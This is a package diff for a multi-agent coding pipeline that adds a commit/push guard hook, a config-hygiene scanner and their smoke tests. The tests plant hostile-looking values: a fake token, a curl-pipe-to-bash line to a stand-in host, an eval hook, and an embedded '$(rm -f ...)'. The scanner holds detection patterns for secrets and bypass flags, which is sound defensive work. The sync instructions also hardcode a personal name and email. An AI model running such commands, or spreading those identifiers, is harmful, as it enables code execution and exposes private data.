@mmerterden/multi-agent-pipeline 10.12.0 → 11.1.0

package/pipeline/commands/multi-agent/sync.md

@@ -58,7 +58,7 @@ Run every step automatically:
 Step 0: FIGMA_SYNC  SKIP (deprecated  -  feedback_figma_source_deprecated)
 Step 1: PLATFORM    Detect macOS / Linux / Windows (Git Bash / WSL); export PLATFORM env
 Step 1.5: DETECT    Compare timestamps, find stale targets
-Step 2: COPILOT     Claude Code -> Copilot CLI (instructions + 37 sub-command skills)
+Step 2: COPILOT     Claude Code -> Copilot CLI (instructions + 36 sub-command skills)
 Step 3: REPO        Claude Code -> pipeline repo (genericized, personal data scrub, bash -n on all sh)
 Step 3c: PLUGINS    pipeline shared/external -> multi-agent-plugins marketplace (rebuild knowledge/,
                      bump changed plugins' patch version, commit + push the plugins repo)
@@ -148,7 +148,7 @@ If nothing is stale → report "All targets up to date" and stop.
 5. **Files NOT synced** (local-only, may contain personal data):
    - `~/.claude/multi-agent-preferences.json`
    - `~/.claude/CLAUDE.md`, `~/.claude/rules/`, `~/.claude/knowledge/`
-   - `~/.claude/scripts/`  -  EXCEPT `pre-commit-check.sh` and `build-stack-plugins.mjs` (generic, synced)
+   - `~/.claude/scripts/`  -  EXCEPT `pre-commit-check.sh`, `agent-guard.sh`, `agent-guard.py`, and `build-stack-plugins.mjs` (generic, synced)
    - `~/.claude/settings.json`
 
 6. **Cross-platform smoke gate** (final step of the REPO sync, before push):
@@ -169,7 +169,7 @@ If nothing is stale → report "All targets up to date" and stop.
 
 ## Stack-Plugin Sync (Step 3c)
 
-Stack skills are distributed as versioned plugins in the `{owner}/multi-agent-plugins` marketplace. The pipeline's `pipeline/skills/shared/external/` is the **single authoring source**; the marketplace is a derived, versioned publish artifact. This step rebuilds it and publishes only when something changed.
+Stack skills are distributed as versioned plugins in the `mmerterden/multi-agent-plugins` marketplace. The pipeline's `pipeline/skills/shared/external/` is the **single authoring source**; the marketplace is a derived, versioned publish artifact. This step rebuilds it and publishes only when something changed.
 
 **Source of truth:** author/vendor knowledge skills in `pipeline/skills/shared/external/` (the pipeline's own phases also consume them). The plugins' authored lifecycle skills (`index` / `reference` / `workflow` / `tools`) live in the plugins repo and are never touched by sync.
 
@@ -177,7 +177,7 @@ Stack skills are distributed as versioned plugins in the `{owner}/multi-agent-pl
 
 ```bash
 PLUGINS_REPO="$HOME/multi-agent-plugins"
-[ ! -d "$PLUGINS_REPO/.git" ] && gh repo clone {owner}/multi-agent-plugins "$PLUGINS_REPO"
+[ ! -d "$PLUGINS_REPO/.git" ] && gh repo clone mmerterden/multi-agent-plugins "$PLUGINS_REPO"
 cd "$PLUGINS_REPO" && git pull origin main
 
 # 1. Preview what would change (routing + version bumps), no writes:
@@ -197,10 +197,10 @@ node "$HOME/multi-agent-pipeline/pipeline/scripts/build-stack-plugins.mjs"
 ```bash
 cd "$PLUGINS_REPO"
 if ! git diff --quiet; then
-  git config user.name "$(git config user.name)"; git config user.email "$(git config user.email)"
+  git config user.name "Mert Erden"; git config user.email "mmerterden@gmail.com"
   git add -A
   git commit -m "chore: rebuild stack plugins from pipeline shared/external"
-  gh auth switch --user {owner} 2>/dev/null || true
+  gh auth switch --user mmerterden 2>/dev/null || true
   git push origin main
 fi
 ```
@@ -256,7 +256,7 @@ When invoked with the `release` argument:
 
 ```
 1. REPO          Claude Code -> pipeline repo (genericized)
-2. VERIFY        Personal data scan -> 0 results
+2. VERIFY        Personal data scan -> 0 results; config-hygiene scan (scan-agent-config.sh) -> 0 HIGH
 3. LINT + TEST   ESLint + smoke tests
 4. VERSION       package.json version bump (patch/minor/major)
 5. Commit + TAG  git commit + git tag v{VERSION}
@@ -277,12 +277,12 @@ This runs on the Claude <-> Copilot axis — the two CLIs the pipeline supports
 |-------------|-------------|
 | `~/.claude/commands/multi-agent/{cmd}.md` | `~/.copilot/skills/multi-agent-{cmd}/SKILL.md` |
 
-**37 commands are synced** (canonical inventory  -  must match `cross-cli-contract.md` section 1; drift = contract violation):
+**36 commands are synced** (canonical inventory  -  must match `cross-cli-contract.md` section 1; drift = contract violation):
 
 ```
 analysis, analysis-resolve, autopilot, build-optimize, channels, delete, dev,
 dev-autopilot, dev-local, dev-local-autopilot, diff-explain, finish, garbage-collect,
-generate-bug, generate-task, help, issue, jira, kill, language, local,
+generate, help, issue, jira, kill, language, local,
 local-autopilot, log, manual-test, prune-logs, purge, refactor, resume, review,
 scan, search, setup, stack, status, sync, test, update
 ```

package/pipeline/commands/multi-agent.md

@@ -77,8 +77,7 @@ Lib scripts (`~/.claude/lib/`):
 | `analysis ["<feature>"]` | Standalone feature-spec analizi: Figma / Swagger / Confluence / Jira / repo girdileri sabit 7-bölümlük şablona dökülür, humanizer'dan geçer, Local/Confluence/Jira hedef(ler)ine post edilir. Worktree veya commit yok. Dev'e zincirleme yok. |
 | `build-optimize` | iOS-only Xcode build performance wrapper. Vendored `xcode-build-orchestrator`'a dispatch eder; benchmark + compilation / project / SPM analyzer'lar + recommend-first plan `.build-benchmark/optimization-plan.md`. Non-iOS stack'lerde fail-fast. |
 | `channels [PR-url\|#N\|Jira-url\|Jira-id] [--channels pr,jira,confluence,wiki] [--content normal,test,auto-diff,note] [--message "..."]` | Post task report to multi-select channels (PR description, Jira comment, Confluence page, Wiki pages) with multi-select content sources. Humanizer pass per-channel. Bitbucket PR updates use reviewer-preserving PUT. Phase 7 delegates to this command; also invocable post-hoc for fixes made outside the pipeline. No worktree. |
-| `generate-task ["desc"] [figma-url]` | Create a standards-compliant Jira **Task**: mines the project's recent Tasks for conventions (summary format, template, labels, priority), detects the active sprint, asks about unknown fields, then full draft preview + explicit approval before create. No worktree, no commits. |
-| `generate-bug ["desc"] [figma-url]` | Create a standards-compliant Jira **Bug**: same convention mining + active-sprint detection; free-text logs/devices map to Steps to Reproduce / Environment; full draft preview + explicit approval before create. No worktree, no commits. |
+| `generate ["desc"] [figma-url] [swagger-url]` | Create a standards-compliant Jira issue: asks the type (**Task** / **Bug** / **Story**), mines the project's recent same-type issues for conventions (summary format, labels, priority, test-scenario style), detects the active sprint, drafts from a standard template with auto-sizing sections (Design Reference / API Contract / Screenshots appear only when their source is given), asks about unknown fields, then full draft preview + explicit approval before create. No worktree, no commits. |
 | `test` or `test [args]` | UI Bug Hunter  -  screenshot + tap + analyze on booted simulator via MCP (read `$HOME/.claude/commands/sim-test.md`). `/multi-agent:test` also resolves here via the `commands/multi-agent/test.md` delegate. |
 | `manual-test [#id]` | Phase 5 standalone Manual Test  -  checks out the task branch, prints Xcode / SourceTree hints, waits for user verdict (`ok` / `fix: ...`). |
 | `stack [ios\|android\|backend\|mobile\|all]` | Swap skills for next conversation. No arg = show current stack. |
@@ -118,8 +117,7 @@ This command uses lazy loading for token efficiency. Read the relevant sub-file
 | `local-autopilot` | `$HOME/.claude/commands/multi-agent/local-autopilot.md` |
 | `dev-local` | `$HOME/.claude/commands/multi-agent/dev-local.md` |
 | `dev-local-autopilot` | `$HOME/.claude/commands/multi-agent/dev-local-autopilot.md` |
-| `generate-task` | `$HOME/.claude/commands/multi-agent/generate-task.md` (loads `refs/generate-issue.md`) |
-| `generate-bug` | `$HOME/.claude/commands/multi-agent/generate-bug.md` (loads `refs/generate-issue.md`) |
+| `generate` | `$HOME/.claude/commands/multi-agent/generate.md` (loads `refs/generate-issue.md`) |
 | `stack` | `$HOME/.claude/commands/multi-agent/stack.md` |
 | `language` | Handled inline  -  set/show prompt language in preferences |
 | SwiftUI component task (iOS) | `$HOME/.claude/commands/multi-agent/refs/swiftui-guide.md` |

package/pipeline/scripts/agent-guard.py

@@ -0,0 +1,74 @@
+#!/usr/bin/env python3
+"""Decision core for agent-guard.sh (see that file for the hook contract).
+
+Reads the PreToolUse payload JSON on stdin and prints exactly one decision:
+  BLOCK_ATTRIB | BLOCK_FORCE | OK
+
+Never executes the command. shlex.split only tokenizes shell-like text; a
+`$(...)` in the command is a literal token, never a subshell. Any error prints
+OK (fail-open) so a guard bug cannot break a legitimate tool call.
+"""
+import json
+import os
+import re
+import shlex
+import sys
+
+# --- Rule data (extend here; this is the hookify-style rule surface) ----------
+PROTECTED = {"main", "master", "develop"}
+REMOTES = {"origin", "upstream"}
+ATTRIBUTION = re.compile(
+    r"co-authored-by:\s*(claude|anthropic|opus|sonnet|haiku|fable)"
+    r"|noreply@anthropic\.com"
+    r"|generated with\s+.*claude"
+    r"|\U0001F916\s*generated"
+    r"|claude code <",
+    re.IGNORECASE,
+)
+FORCE = re.compile(r"(^|\s)(--force(\b|$)|--force-with-lease|-\S*f\S*)(\s|$)")
+
+
+def decide(cmd: str) -> str:
+    low = cmd.lower()
+
+    # Rule 1: AI attribution inside a git commit.
+    if re.search(r"git\s+commit", low) and ATTRIBUTION.search(cmd):
+        return "BLOCK_ATTRIB"
+
+    # Rule 2: force-push to a protected branch.
+    if re.search(r"git\s+push", low) and FORCE.search(cmd):
+        try:
+            toks = shlex.split(cmd)
+        except Exception:
+            toks = cmd.split()
+        if any(t in PROTECTED or t.split(":")[-1] in PROTECTED for t in toks):
+            return "BLOCK_FORCE"
+        # non-flag args after `push`; only a remote (or nothing) means a bare push
+        args, seen = [], False
+        for t in toks:
+            if t == "push":
+                seen = True
+                continue
+            if seen and not t.startswith("-"):
+                args.append(t)
+        nonremote = [a for a in args if a not in REMOTES]
+        if not nonremote and os.environ.get("CUR_BRANCH", "") in PROTECTED:
+            return "BLOCK_FORCE"
+
+    return "OK"
+
+
+def main() -> None:
+    try:
+        data = json.load(sys.stdin)
+        cmd = (data.get("tool_input") or {}).get("command", "")
+        if not isinstance(cmd, str) or not cmd:
+            print("OK")
+            return
+        print(decide(cmd))
+    except Exception:
+        print("OK")
+
+
+if __name__ == "__main__":
+    main()

package/pipeline/scripts/agent-guard.sh

@@ -0,0 +1,48 @@
+#!/usr/bin/env bash
+# agent-guard.sh  -  PreToolUse Bash guard for the multi-agent pipeline.
+#
+# Turns two prompt-level rules into deterministic, OS-enforced gates:
+#   1. No AI/assistant attribution in git commit messages (Co-Authored-By: Claude,
+#      "Generated with Claude Code", robot emoji, Anthropic no-reply address).
+#   2. No force-push to a protected branch (main / master / develop).
+#
+# Contract (Claude Code PreToolUse hook):
+#   - Reads the tool-call JSON on stdin: {"tool_input":{"command":"..."}, ...}.
+#   - Exit 2  -> BLOCK the tool call (reason on stderr, shown to the model).
+#   - Exit 0  -> allow.
+#
+# Safety design (fail-OPEN):
+#   - The command string is ONLY parsed/pattern-matched, NEVER executed or eval'd
+#     (the decision core is agent-guard.py; shlex tokenizes without running).
+#   - Any internal error (bad JSON, missing python3/helper, empty input) -> exit 0.
+#     A guard bug must never break a legitimate tool call.
+#   - No network, no file writes, no secret values printed.
+#   - The single exec is a read-only `git rev-parse` to learn the current branch.
+
+set -u
+
+HERE="$(cd "$(dirname "$0")" 2>/dev/null && pwd || true)"
+HELPER="$HERE/agent-guard.py"
+[ -f "$HELPER" ] || exit 0
+command -v python3 >/dev/null 2>&1 || exit 0
+
+PAYLOAD="$(cat 2>/dev/null || true)"
+[ -z "$PAYLOAD" ] && exit 0
+
+CUR_BRANCH="$(git rev-parse --abbrev-ref HEAD 2>/dev/null || true)"
+
+DECISION="$(printf '%s' "$PAYLOAD" | CUR_BRANCH="$CUR_BRANCH" python3 "$HELPER" 2>/dev/null || true)"
+
+case "$DECISION" in
+  BLOCK_ATTRIB)
+    echo "BLOCKED by agent-guard: the commit message carries AI/assistant attribution." >&2
+    echo "Remove any 'Co-Authored-By: Claude', 'Generated with Claude Code', robot-emoji, or" >&2
+    echo "anthropic no-reply trailer. Commits are authored solely as the user's git identity." >&2
+    exit 2 ;;
+  BLOCK_FORCE)
+    echo "BLOCKED by agent-guard: force-push to a protected branch (main/master/develop) is not allowed." >&2
+    echo "Rewriting shared history is a data-loss risk. Push a normal commit, or force-push a feature branch." >&2
+    exit 2 ;;
+  *)
+    exit 0 ;;
+esac

package/pipeline/scripts/build-stack-plugins.mjs

@@ -36,7 +36,7 @@ const EXTERNAL = join(PIPE_ROOT, 'pipeline/skills/shared/external');
 const DRY = args.includes('--dry-run');
 
 const COMMON_PLUGIN = 'ai-common-engineering-toolkit';
-const COMMON_SKILLS = ['accessibility-compliance-accessibility-audit', 'firebase', 'humanizer'];
+const COMMON_SKILLS = ['accessibility-compliance-accessibility-audit', 'firebase', 'humanizer', 'council', 'search-first', 'agent-introspection-debugging'];
 
 // Apple/Xcode-only skills that match no stack pattern → iOS plugin only.
 const APPLE_ONLY = [

package/pipeline/scripts/fixtures/install-layout.tsv

@@ -5,12 +5,12 @@
 .claude/multi-agent-preferences.json	1
 .claude/rules	12
 .claude/schemas	23
-.claude/scripts	174
+.claude/scripts	180
 .claude/settings.json	1
-.claude/skills	560
+.claude/skills	563
 .copilot/agents	8
 .copilot/copilot-instructions.md	1
 .copilot/lib	24
 .copilot/schemas	23
-.copilot/scripts	174
-.copilot/skills	598
+.copilot/scripts	180
+.copilot/skills	600

package/pipeline/scripts/scan-agent-config.sh

@@ -0,0 +1,107 @@
+#!/usr/bin/env bash
+# scan-agent-config.sh  -  config-hygiene gate for the shipped agent surface.
+#
+# Audits the config the pipeline SHIPS (install templates, preferences template,
+# agent definitions, MCP helper scripts) for security problems before release:
+#   HIGH   - hardcoded secrets; hook commands that eval/execute inspected input;
+#            permission bypass flags baked into a shipped template.
+#   MEDIUM - unpinned/remote-install supply-chain patterns (curl|bash, npx -y);
+#            blanket Bash(*) permission allow.
+#
+# Read-only. Never prints a secret value (reports file + rule only). Self-contained
+# (no external scanner dependency). Exit 1 if any HIGH finding, else 0.
+#
+# Inspired by config-audit tools like ecc-agentshield, but rewritten as a
+# first-party, dependency-free gate over this repo's own shipped surface.
+
+set -uo pipefail
+
+# ROOT defaults to the repo root; SCAN_ROOT overrides it (used by the smoke test
+# to point at a fixture tree of planted-bad configs).
+ROOT="${SCAN_ROOT:-$(cd "$(dirname "$0")/../.." && pwd)}"
+
+HIGH=0; MED=0
+high() { HIGH=$((HIGH+1)); echo "  [HIGH]   $1"; }
+med()  { MED=$((MED+1));  echo "  [MEDIUM] $1"; }
+
+# Shipped config surface (globs expanded safely; missing paths are skipped).
+TARGETS=()
+add() { [ -e "$1" ] && TARGETS+=("$1"); }
+add "$ROOT/install/templates/claude-hooks.json"
+add "$ROOT/install/templates/copilot-instructions.md"
+add "$ROOT/pipeline/preferences-template.json"
+for f in "$ROOT"/pipeline/agents/*.md; do add "$f"; done
+for f in "$ROOT"/pipeline/skills/figma-common/figma-setup/scripts/*.py \
+         "$ROOT"/pipeline/skills/figma-ios/figma-to-component/scripts/*.py; do add "$f"; done
+add "$ROOT/pipeline/scripts/agent-guard.sh"
+add "$ROOT/pipeline/scripts/pre-commit-check.sh"
+
+rel() { echo "${1#$ROOT/}"; }
+
+echo "→ scanning ${#TARGETS[@]} shipped config files"
+
+for f in "${TARGETS[@]}"; do
+  [ -f "$f" ] || continue
+  r="$(rel "$f")"
+
+  # --- HIGH: hardcoded secrets (high-signal prefixes only; report file, not value)
+  if grep -EqI '(ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|xox[baprs]-[A-Za-z0-9-]{12,}|sk_live_[A-Za-z0-9]{20,}|AIza[0-9A-Za-z_-]{35}|npm_[A-Za-z0-9]{36}|glpat-[A-Za-z0-9_-]{20,}|AKIA[0-9A-Z]{16}|-----BEGIN [A-Z ]*PRIVATE KEY-----' "$f" 2>/dev/null; then
+    high "hardcoded secret / token in $r"
+  fi
+  if grep -Eq '"type"[[:space:]]*:[[:space:]]*"service_account"' "$f" 2>/dev/null; then
+    high "embedded service-account JSON in $r"
+  fi
+
+  # --- HIGH: permission bypass baked into a shipped template
+  if grep -Eq 'skipDangerousModePermissionPrompt"?[[:space:]]*:[[:space:]]*true|--dangerously-skip-permissions|"permissions"[[:space:]]*:[[:space:]]*"?(allow-all|bypass)' "$f" 2>/dev/null; then
+    high "permission bypass flag in shipped template: $r"
+  fi
+
+  # --- MEDIUM: blanket Bash allow
+  if grep -Eq '"Bash\(\*\)"|"Bash\(:\*\)"|Bash\(\*:\*\)' "$f" 2>/dev/null; then
+    med "blanket Bash(*) permission in $r"
+  fi
+
+  # --- MEDIUM: remote-install supply-chain patterns
+  if grep -Eq 'curl[^|]*\|[[:space:]]*(sudo[[:space:]]+)?(ba)?sh|wget[^|]*\|[[:space:]]*(ba)?sh' "$f" 2>/dev/null; then
+    med "pipe-to-shell remote install (curl|bash) in $r"
+  fi
+  if grep -Eq '(^|[^A-Za-z])npx[[:space:]]+-y[[:space:]]|npx[[:space:]]+--yes[[:space:]]' "$f" 2>/dev/null; then
+    med "unpinned 'npx -y' auto-install in $r"
+  fi
+done
+
+# --- HIGH: hook commands must only invoke vetted scripts, never inline eval -----
+HOOKS="$ROOT/install/templates/claude-hooks.json"
+if [ -f "$HOOKS" ] && command -v python3 >/dev/null 2>&1; then
+  bad="$(python3 - "$HOOKS" <<'PY' 2>/dev/null || true
+import json, re, sys
+try:
+    t = json.load(open(sys.argv[1]))
+except Exception:
+    sys.exit(0)
+bad = []
+for _event, entries in (t.get("hooks") or {}).items():
+    for e in entries:
+        for h in e.get("hooks", []):
+            c = h.get("command", "")
+            # allow only: `bash $HOME/.claude/scripts/<name>` (our vetted scripts)
+            if not re.fullmatch(r'bash \$HOME/\.claude/scripts/[A-Za-z0-9._-]+', c.strip()):
+                bad.append(c)
+            if re.search(r'\beval\b|\$\(|`', c):
+                bad.append(c)
+print("\n".join(bad))
+PY
+)"
+  if [ -n "$bad" ]; then
+    high "hooks template has a non-vetted or eval-bearing hook command"
+  fi
+fi
+
+echo ""
+echo "══ config-hygiene: $HIGH high, $MED medium ══"
+if [ "$HIGH" -gt 0 ]; then
+  echo "FAIL: high-severity config findings must be fixed before release."
+  exit 1
+fi
+exit 0

package/pipeline/scripts/smoke-agent-guard.sh

@@ -0,0 +1,74 @@
+#!/usr/bin/env bash
+# smoke-agent-guard.sh  -  behavioral contract for the agent-guard PreToolUse hook.
+#
+# Verifies the guard blocks (exit 2) AI-attribution commits and force-push to a
+# protected branch, allows (exit 0) everything else, fails open on bad input, and
+# NEVER executes the inspected command (injection safety).
+#
+# Runs the guard from the repo copy in a throwaway git repo whose branch we set,
+# so the "bare push on a protected branch" path is exercised deterministically.
+#
+# Exit 0 = all pass, 1 = any failure.
+
+set -uo pipefail
+
+ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
+GUARD="$ROOT/pipeline/scripts/agent-guard.sh"
+command -v python3 >/dev/null 2>&1 || { echo "error: python3 required" >&2; exit 127; }
+[ -f "$GUARD" ] || { echo "FAIL: agent-guard.sh missing at $GUARD" >&2; exit 1; }
+[ -f "$ROOT/pipeline/scripts/agent-guard.py" ] || { echo "FAIL: agent-guard.py missing" >&2; exit 1; }
+
+PASS=0; FAIL=0
+pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
+fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
+
+# throwaway repo on a protected branch so `git rev-parse` inside the guard = main
+WORK="$(mktemp -d)"
+trap 'rm -rf "$WORK"' EXIT
+# init on main WITH a commit so `git rev-parse --abbrev-ref HEAD` resolves to main
+# (an unborn branch reports HEAD, which would not exercise the bare-push path)
+( cd "$WORK" \
+  && git init -q \
+  && git symbolic-ref HEAD refs/heads/main \
+  && git -c user.email=t@t -c user.name=t commit -q --allow-empty -m init ) 2>/dev/null
+
+J() { python3 -c 'import json,sys; print(json.dumps({"tool_input":{"command":sys.argv[1]}}))' "$1"; }
+run() { # label  expected-exit  command-string
+  local got
+  ( cd "$WORK" && printf '%s' "$(J "$3")" | bash "$GUARD" >/dev/null 2>&1 )
+  got=$?
+  if [ "$got" = "$2" ]; then pass "[$got] $1"; else fail "expected $2 got $got: $1"; fi
+}
+
+echo "→ blocks (exit 2)"
+run "commit Co-Authored-By: Claude" 2 'git commit -m "x
+
+Co-Authored-By: Claude <noreply@anthropic.com>"'
+run "commit robot-emoji"            2 'git commit -m "x
+
+🤖 Generated with Claude Code"'
+run "push --force origin main"      2 'git push --force origin main'
+run "push -f origin develop"        2 'git push -f origin develop'
+run "push --force-with-lease master" 2 'git push --force-with-lease origin master'
+run "bare push -f on main"          2 'git push -f'
+
+echo "→ allows (exit 0)"
+run "normal commit"                 0 'git commit -m "feat: normal"'
+run "push no force"                 0 'git push origin main'
+run "force push feature branch"     0 'git push --force origin feature/DEMO-1'
+run "force push tag"                0 'git push -f origin v1.2.3'
+run "non-git command"               0 'ls -la /tmp'
+run "empty command"                 0 ''
+
+echo "→ fail-open on bad input"
+( cd "$WORK" && printf 'not-json{' | bash "$GUARD" >/dev/null 2>&1 ); [ $? -eq 0 ] && pass "malformed json -> allow" || fail "malformed json blocked"
+( cd "$WORK" && printf '' | bash "$GUARD" >/dev/null 2>&1 ); [ $? -eq 0 ] && pass "empty stdin -> allow" || fail "empty stdin blocked"
+
+echo "→ injection safety (inspected command must NOT execute)"
+SENT="$WORK/sentinel"; : > "$SENT"
+( cd "$WORK" && printf '%s' "$(J "git commit -m \"\$(rm -f '$SENT')\"")" | bash "$GUARD" >/dev/null 2>&1 )
+[ -f "$SENT" ] && pass "sentinel survived (no execution)" || fail "sentinel deleted - command executed"
+
+echo ""
+echo "══ agent-guard smoke: $PASS passed, $FAIL failed ══"
+[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-autopilot-circuit-breaker.sh

@@ -0,0 +1,36 @@
+#!/usr/bin/env bash
+# smoke-autopilot-circuit-breaker.sh  -  wiring contract for the autopilot
+# circuit-breaker feature: the doc exists, enumerates the five trip conditions,
+# and is referenced from the modes "what never skips" list.
+#
+# Exit 0 = all pass, 1 = any failure.
+
+set -uo pipefail
+
+ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
+DOC="$ROOT/pipeline/commands/multi-agent/refs/features/autopilot-circuit-breaker.md"
+MODES="$ROOT/pipeline/commands/multi-agent/refs/phases/modes.md"
+
+PASS=0; FAIL=0
+pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
+fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
+
+[ -f "$DOC" ] && pass "feature doc exists" || fail "feature doc missing"
+[ -f "$MODES" ] && pass "modes doc exists" || fail "modes doc missing"
+
+echo "→ five trip conditions documented"
+for t in "No-progress stall" "Identical repeated failure" "Rework storm" "Cost drift" "Merge/rebase conflict"; do
+  grep -Fq "$t" "$DOC" && pass "trigger: $t" || fail "trigger missing: $t"
+done
+
+echo "→ action + safety invariants"
+grep -Fq "resume" "$DOC" && pass "documents resume path" || fail "no resume path"
+grep -Eiq "never auto-resolve|does not paper over|no force-anything" "$DOC" && pass "no-self-heal invariant present" || fail "missing no-self-heal invariant"
+
+echo "→ wired into modes 'what never skips'"
+grep -Fq "autopilot-circuit-breaker.md" "$MODES" && pass "modes references the feature doc" || fail "modes does not reference the feature"
+grep -Fiq "Circuit-breaker" "$MODES" && pass "modes lists circuit-breaker under never-skip" || fail "modes missing circuit-breaker bullet"
+
+echo ""
+echo "══ autopilot-circuit-breaker smoke: $PASS passed, $FAIL failed ══"
+[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-config-hygiene.sh

@@ -0,0 +1,58 @@
+#!/usr/bin/env bash
+# smoke-config-hygiene.sh  -  contract for scan-agent-config.sh.
+#
+# 1. The real shipped surface must be clean (exit 0).
+# 2. A fixture tree with planted-bad configs must be caught (exit 1, HIGH findings).
+#    Detection matters: a hygiene gate that never fires is worthless.
+#
+# Exit 0 = all pass, 1 = any failure.
+
+set -uo pipefail
+
+ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
+SCANNER="$ROOT/pipeline/scripts/scan-agent-config.sh"
+[ -f "$SCANNER" ] || { echo "FAIL: scanner missing" >&2; exit 1; }
+
+PASS=0; FAIL=0
+pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
+fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
+
+echo "→ 1. real shipped surface is clean"
+if bash "$SCANNER" >/dev/null 2>&1; then pass "real surface exits 0"; else fail "real surface flagged (unexpected)"; fi
+
+echo "→ 2. planted-bad fixture is caught"
+TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
+mkdir -p "$TMP/install/templates" "$TMP/pipeline/agents" "$TMP/pipeline/scripts"
+
+# a fake (non-real) token that matches the high-signal prefix rule
+FAKE_TOKEN="ghp_$(printf 'A%.0s' $(seq 1 36))"
+cat > "$TMP/pipeline/preferences-template.json" <<EOF
+{ "token": "$FAKE_TOKEN", "install": "curl https://x.example/i.sh | bash" }
+EOF
+
+# bad hooks template: blanket Bash(*), bypass flag, and an eval-bearing hook cmd
+cat > "$TMP/install/templates/claude-hooks.json" <<'EOF'
+{
+  "permissions": { "allow": ["Bash(*)"] },
+  "skipDangerousModePermissionPrompt": true,
+  "hooks": { "PreToolUse": [ { "matcher": "Bash(git commit:*)",
+    "hooks": [ { "type": "command", "command": "bash -c \"eval $(cat x)\"" } ] } ] }
+}
+EOF
+: > "$TMP/pipeline/agents/placeholder.md"
+
+OUT="$(SCAN_ROOT="$TMP" bash "$SCANNER" 2>&1 || true)"
+CODE=$?
+# under set -e off, capture exit explicitly
+SCAN_ROOT="$TMP" bash "$SCANNER" >/dev/null 2>&1; CODE=$?
+
+[ "$CODE" -eq 1 ] && pass "fixture exits 1 (blocking)" || fail "fixture did not block (exit $CODE)"
+echo "$OUT" | grep -q "\[HIGH\].*secret"        && pass "detects hardcoded secret"      || fail "missed secret"
+echo "$OUT" | grep -q "\[HIGH\].*bypass"         && pass "detects permission bypass"     || fail "missed bypass flag"
+echo "$OUT" | grep -q "\[HIGH\].*hook"           && pass "detects eval-bearing hook cmd" || fail "missed bad hook command"
+echo "$OUT" | grep -q "\[MEDIUM\].*Bash"         && pass "detects blanket Bash(*)"       || fail "missed blanket Bash"
+echo "$OUT" | grep -q "\[MEDIUM\].*curl|bash\|pipe-to-shell" && pass "detects curl|bash" || fail "missed curl|bash"
+
+echo ""
+echo "══ config-hygiene smoke: $PASS passed, $FAIL failed ══"
+[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-gate-hooks.sh

@@ -43,6 +43,24 @@ else
   fail "pre-commit-check.sh missing"
 fi
 
+# 3b. template also wires agent-guard.sh on git commit AND git push
+node -e '
+  const t = JSON.parse(require("fs").readFileSync(process.argv[1],"utf8"));
+  const pre = (t.hooks && t.hooks.PreToolUse) || [];
+  const commit = pre.find(h => /git commit/.test(h.matcher || ""));
+  const push = pre.find(h => /git push/.test(h.matcher || ""));
+  const cmds = e => (e && e.hooks || []).map(h => h.command || "").join(" ");
+  if (!/agent-guard\.sh/.test(cmds(commit))) { console.error("guard not on git commit"); process.exit(1); }
+  if (!/agent-guard\.sh/.test(cmds(push))) { console.error("guard not on git push"); process.exit(1); }
+' "$TMPL" 2>/dev/null && pass "template wires agent-guard on git commit + git push" || fail "template does not wire agent-guard on both matchers"
+
+# 3c. the guard scripts exist in the source tree
+if [ -f "$ROOT/pipeline/scripts/agent-guard.sh" ] && [ -f "$ROOT/pipeline/scripts/agent-guard.py" ]; then
+  pass "agent-guard.sh + agent-guard.py exist to back the hook"
+else
+  fail "agent-guard scripts missing"
+fi
+
 # 4. picker-contract documents the hook template + the phase-enforced caveat
 PC="$ROOT/pipeline/commands/multi-agent/refs/picker-contract.md"
 if grep -q "claude-hooks.json" "$PC" && grep -q "phase-enforced" "$PC"; then